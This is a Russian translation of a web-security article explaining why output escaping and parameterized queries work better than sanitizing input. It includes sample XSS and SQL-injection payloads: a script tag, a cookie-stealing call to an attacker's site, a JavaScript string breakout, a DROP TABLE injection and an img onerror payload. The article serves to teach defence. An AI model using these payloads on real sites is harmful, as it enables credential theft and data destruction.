Время от времени мы слышим в кругу разработчиков разговоры о “санации пользовательского ввода” с целью предотвращения атак с использованием межсайтового скриптинга. Эта техника, хоть и придумана из лучших побуждений, приводит к ложному чувству безопасности, а иногда и искажает совершенно корректный ввод.
Как происходит межсайтовый скриптинг?
Сайт является уязвимым для атак с использованием межсайтового скриптинга (XSS), если пользователи могут вводить информацию, которую сайт дословно повторяет им в HTML-коде той же или других страниц. Это может вызвать как незначительные проблемы (HTML, который нарушает разметку страницы), так и вполне серьезные (JavaScript, который отправляет файл cookie с учетными данными пользователя на сайт злоумышленника).
Давайте рассмотрим конкретный пример:
-
NaiveSite позволяет вам ввести свое имя, которое затем выводится без изменений на странице вашего профиля.
-
Билли Кид вводит свое имя как
Billy <script>alert('Hello Bob!')</script>
. -
Любой, кто посещает страницу профиля Билли, получает некоторый HTML-код, включая неэкранированный тег
script
, который в числе прочего обрабатывается его браузером. -
Если
alert()
изменить на что-то более вредоносное, например sendCookies(‘https://billy.com/cookie-monster’), то Билли теперь сможет получить учетные данные ничего не подозревающего посетителя.
Примечание: на практике сделать это не так просто, поскольку файлы cookie с учетными данными обычно помечаются как HttpOnly, что означает, что они недоступны для JavaScript. Но это достаточно примитивный NaiveSite, так что, скорее всего, если разработчики допустили XSS-ошибку, то и о защите cookie они тоже не позаботились.
Почему фильтрация входных данных — не самая лучшая идея
Итак, разработчик узнает о “фильтрации входных данных” или “санации ввода”, поэтому он пишет код для удаления небезопасных HTML-символов <>&
из имени перед его сохранением. Дело сделано!
Но с этим есть две проблемы. Например, на NaiveSite может зарегистрироваться пара как Bob & Jane Smith, но код фильтрации удаляет &
, и вдруг Боб оказывается сам по себе, со вторым именем Джейн.
Или если фильтр чуть поусерднее и также удаляет '
и"
, кто-то вроде Билла О’Брайена становится Биллом ОБрайеном. Искажать имена людей — плохая практика.
Этот метод, что более важно, дает ложное чувство безопасности. Что здесь значит “небезопасно”? И в каком контексте? Конечно, <>&
являются небезопасными символами в контексте HTML, но как насчет CSS, JSON, SQL или даже shell-скриптов? У них совершенно другой набор небезопасных символов.
Например, NaiveSite может иметь PHP-шаблон, который будет выглядеть следующим образом:
<html> ... <script> var name = "<?=$name?>"; </script>
Если злоумышленник укажет свое имя с двойными кавычками, например "; badFunc(); "
, то он сможет запускать произвольный JavaScript на любых страницах NaiveSite, отображающих имя пользователя (к которым, если вы залогинились, вероятно, относятся все страницы).
Еще одним хорошим примером такого рода проблем является SQL-инъекция — атака, тесно связанная с межсайтовым скриптингом. NaiveSite работает на базе MySQL и находит пользователей следующим образом:
$query = "SELECT * FROM users WHERE name = '{$name}'"
Если мальчик по имени Robert’); DROP TABLE users; решит посетить ваш сайт, то вся база данных пользователей NaiveSite будет удалена в мгновение ока. Упс!
Между прочим, мать в комиксе xkcd говорит: “А я надеюсь, что вы научитесь санировать данные перед вводом в базу данных”. Это несколько сбивает с толку, но я не буду так уж строг к Рэндаллу и предположу, что он имел в виду “экранировать параметры вашей базы данных”.
Короче говоря, нет смысла отсеивать “опасные символы”, потому что некоторые символы опасны в одном контексте и совершенно безопасны в другом.
Вместо этого экранируйте ваш вывод
Единственный код, который знает, какие символы опасны, — это сам код, который выводится в заданном контексте.
Таким образом, лучший подход состоит в том, чтобы дословно сохранить любое имя, которое вводит пользователь, а затем использовать HTML-экранирование системы шаблонизации при выводе HTML или правильно экранировать JSON при выводе JSON и JavaScript.
И, конечно же, используйте функции параметризованных запросов вашего SQL-движка, чтобы он правильно экранировал переменные при построении SQL:
$stmt = $db->prepare('SELECT * FROM users WHERE name = ?'); $stmt->bind_param('s', $name);
Иногда это называют “контекстным экранированием”. Если вам доведется использовать пакет Go html/template, то в нем вы получите автоматическое контекстное экранирование для HTML, CSS и JavaScript прямо из коробки. Большинство других систем шаблонизации обеспечивают автоматическое экранирование хотя бы HTML, как например шаблоны React, Jinja2 и Rails.
Но что, если вам нужны необработанные входные данные?
Давайте рассмотрим более интересную ситуацию — когда вашему приложению нужно позволять пользователю вводить HTML или Markdown для дальнейшего отображения. В этом случае вы не можете прибегнуть к экранированию при рендеринге вывода, потому что вся суть заключается в том, чтобы позволить пользователям добавлять ссылки, изображения, заголовки и т. д.
Поэтому вам нужно использовать другой подход. Если вы используете Markdown, вы можете:
-
Разрешить пользователю вводить только чистый Markdown и преобразовывать его в HTML при рендеринге (многие Markdown-библиотеки по умолчанию разрешают использование сырого HTML; обязательно отключите эту возможность). Это наиболее безопасный вариант, но и более рестриктивный.
-
Разрешить пользователю использовать HTML в Markdown, но только определенный список (вайтлист) разрешенных тегов и атрибутов, таких как
<а href="...">
и<img src="...">
. Например, Stack Exchange и GitHub придерживаются этого второго подхода.
Если вы не используете Markdown, но хотите, чтобы ваши пользователи могли напрямую вводить HTML, то для вас остается доступным только второй вариант — вы должны реализовать фильтр на основе вайтлиста. Сделать это правильно труднее, чем вы думаете (например, <img src="x" onerror="badFunc()">
), поэтому обязательно используйте хорошо проверенную с точки зрения безопасности библиотеку как, например, DOMPurify.
Поэтому в тех случаях, когда вам нужно “транслировать” необработанный пользовательский ввод, тщательно фильтруйте ввод на основе ограничительного вайтлиста и сохраняйте результат в базе данных. Когда настанет время вывести его, выведите его как сохранили без какого-либо экранирования.
Параллелью с SQL-инъекциями может быть ситуация, когда вы создаете инструмент для построения диаграмм данных, который позволяет пользователям вводить произвольные SQL-запросы. Возможно, вы захотите разрешить им вводить SELECT-запросы, но не запросы модификации данных. В этих случаях вам лучше всего использовать правильный парсер SQL (как этот), чтобы убедиться, что они правильно формируют SELECT-запросы — но сделать это правильно не так уж и просто, поэтому обязательно делайте проверку безопасности.
Как насчет валидации?
Санация ввода обычно плохая идея, но вот валидация входных данных это хорошо.
Например, когда вы парсите поля формы ввода, и отлавливаете числовое поле, которое не является числом, адрес электронной почты без @
или имеете раскрывающийся список “Статус публикации”, который может быть только чем-либо из “черновик”, “опубликовано”, или “в архиве”, который затем вы во что бы то ни стало проверяете и возвращаете ошибку, если он невалиден.
Хорошая проверка веб-формы указывает на ошибки по мере ввода, чтобы пользователь точно знал, что нужно исправить:
Вы должны выполнять валидацию хотя бы на бэкенде, иначе злоумышленник может обойти валидацию фронтенда и сделать POST-запрос с вредоносными данными на вашу конечную точку напрямую. Кроме того, вы также можете выполнить раннюю проверку во фронтенде, чтобы отображать ошибки в режиме реального времени, без необходимости обращения к серверу.
Что еще можно почитать по теме
На OWASP есть две прекрасных шпаргалки Cross Site Scripting Prevention и SQL Injection Prevention, которые содержат много дополнительной информации о экранировании.
Также есть ответ на StackOverflow на вопрос “How can I sanitize user input with PHP?” с некоторой PHP-спецификой, но я нашел его достаточно лаконичным и полезным. Он ссылается на страницу на PHP magic quotes, которые были в целом плохой идеей и фактически были удалены в PHP 5.4 — обсуждение там очень похоже на то, что я написал выше.
Важно! Под спойлером перевод оригинального текста от автора статьи
Если у вас есть какие-либо отзывы об этой статье, пожалуйста, свяжитесь с нами! Или почитайте комментарии на Hacker News и сабреддите programming.
Я был бы рад, если бы вы спонсировали меня на GitHub – это будет мотивировать меня работать над моими проектами с открытым исходным кодом и писать больше хорошего контента. Спасибо!
Выражаем благодарность @FanatPHP, за рекомендацию данной статьи к переводу.
Также в преддверии старта курса PHP Developer. Professional, делимся с вами записью открытых уроков курса. Узнать подробнее о курсе и посмотреть открытые уроки можно по ссылкам ниже.
ссылка на оригинал статьи https://habr.com/ru/company/otus/blog/712830/
Добавить комментарий